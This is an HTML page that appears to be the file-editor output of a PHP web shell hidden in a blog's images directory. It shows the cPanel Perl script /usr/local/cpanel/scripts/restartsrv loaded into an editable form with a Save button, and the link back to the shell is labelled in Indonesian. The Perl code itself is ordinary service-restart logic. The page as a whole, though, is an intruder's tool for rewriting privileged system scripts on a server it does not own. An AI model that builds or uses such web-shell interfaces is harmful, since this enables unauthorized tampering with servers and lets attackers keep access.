<h2>Edit File - restartsrv</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/restartsrv">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/restartsrv                      Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package Scripts::restartsrv;

use strict;
use warnings;

#Names that are aliases of each other are on the same line
use constant KNOWN_SERVICES =&gt; (
    &#039;apache&#039;, &#039;httpd&#039;,
    &#039;apache_php_fpm&#039;,
    &#039;bind&#039;,
    &#039;chkservd&#039;,
    &#039;clamd&#039;,
    &#039;cpanel_css&#039;,
    &#039;cpanel_php_fpm&#039;,
    &#039;cpanel_dovecot_solr&#039;,
    &#039;cpanel&#039;,
    &#039;cpanellogd&#039;,
    &#039;cpdavd&#039;,
    &#039;cpipv6&#039;,
    &#039;cpgreylistd&#039;,
    &#039;cphulkd&#039;,
    &#039;cpsrvd&#039;,
    &#039;crond&#039;,
    &#039;dovecot&#039;,
    &#039;dnsadmin&#039;,
    &#039;exim&#039;,
    &#039;ftp&#039;, &#039;ftpd&#039;, &#039;ftpmagic&#039;, &#039;ftpserver&#039;,
    &#039;imap&#039;,
    &#039;ipaliases&#039;,
    &#039;mailman&#039;,
    &#039;mysql&#039;, &#039;mysqld&#039;,
    &#039;named&#039;,
    &#039;nginx&#039;,
    &#039;nscd&#039;,
    &#039;openssh&#039;,
    &#039;p0f&#039;,
    &#039;lmtp&#039;,
    &#039;pdns&#039;, &#039;powerdns&#039;,
    &#039;pop&#039;,
    &#039;postgres&#039;, &#039;postgresql&#039;,
    &#039;proftpd&#039;,
    &#039;pureftpd&#039;,
    &#039;queueprocd&#039;,
    &#039;spamd&#039;,
    &#039;sshd&#039;,
    &#039;tailwatchd&#039;,
    &#039;rsyslog&#039;, &#039;rsyslogd&#039;,
);

exit main(@ARGV) unless caller;

sub main {
    my ( $service, @args ) = handle_service(@_);
    my $cmd;

    # known service
    if ($service) {

        # this is required for ftpd &amp; ftpserver, which are specials
        if ( -e &quot;/usr/local/cpanel/scripts/restartsrv_$service&quot; ) {
            $cmd = &quot;/usr/local/cpanel/scripts/restartsrv_$service&quot;;

            if ( !-x _ ) {
                warn &quot;“$cmd” is not executable ($!); falling back\n&quot;;
            }
        }

        if ( !$cmd ) {
            $cmd = &#039;/usr/local/cpanel/scripts/restartsrv_unknown&#039;;
            unshift @args, $service;
        }
    }
    else {
        # Pass the call on to restartsrv_base as it already
        # has logic to handle &quot;unknown&quot; services that might
        # be controlled via sysmted/initd, etc.
        $cmd = &#039;/usr/local/cpanel/scripts/restartsrv_unknown&#039;;
        unshift @args, @_;
    }
    return _exec( $cmd, @args );
}

# For testing
sub _exec {
    my ( $cmd, @args ) = @_;
    exec {$cmd} $cmd, @args or die &quot;exec($cmd, @args): $!&quot;;
}

sub handle_service {
    my (@args) = @_;

    my ( $service, @call_with );

    foreach my $arg (@args) {
        my $arg_lc = ( $arg =~ tr&lt;A-Z&gt;&lt;a-z&gt;r );

        $arg_lc =~ tr{-}{_};    # cpanel-dovecot-solr -&gt; cpanel_dovecot_solr

        if ( grep { $arg_lc eq $_ } KNOWN_SERVICES() ) {
            $service = $arg_lc;
            next;
        }

        # preserve any other argument
        push @call_with, $arg;
    }

    return undef unless defined $service;

    # some services use alias or legacy names #
    $service = &#039;ftpserver&#039;  if $service eq &#039;ftp&#039; || $service eq &#039;ftpmagic&#039;;
    $service = &#039;imap&#039;       if $service eq &#039;pop&#039;;
    $service = &#039;imap&#039;       if $service eq &#039;pop3&#039;;
    $service = &#039;tailwatchd&#039; if $service eq &#039;chkservd&#039;;
    $service = &#039;cpsrvd&#039;     if $service eq &#039;cpanel&#039;;
    $service = &#039;mysql&#039;      if $service eq &#039;mysqld&#039;;
    $service = &#039;sshd&#039;       if $service eq &#039;openssh&#039;;
    $service = &#039;pdns&#039;       if $service eq &#039;powerdns&#039;;

    return ( $service, @call_with );
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>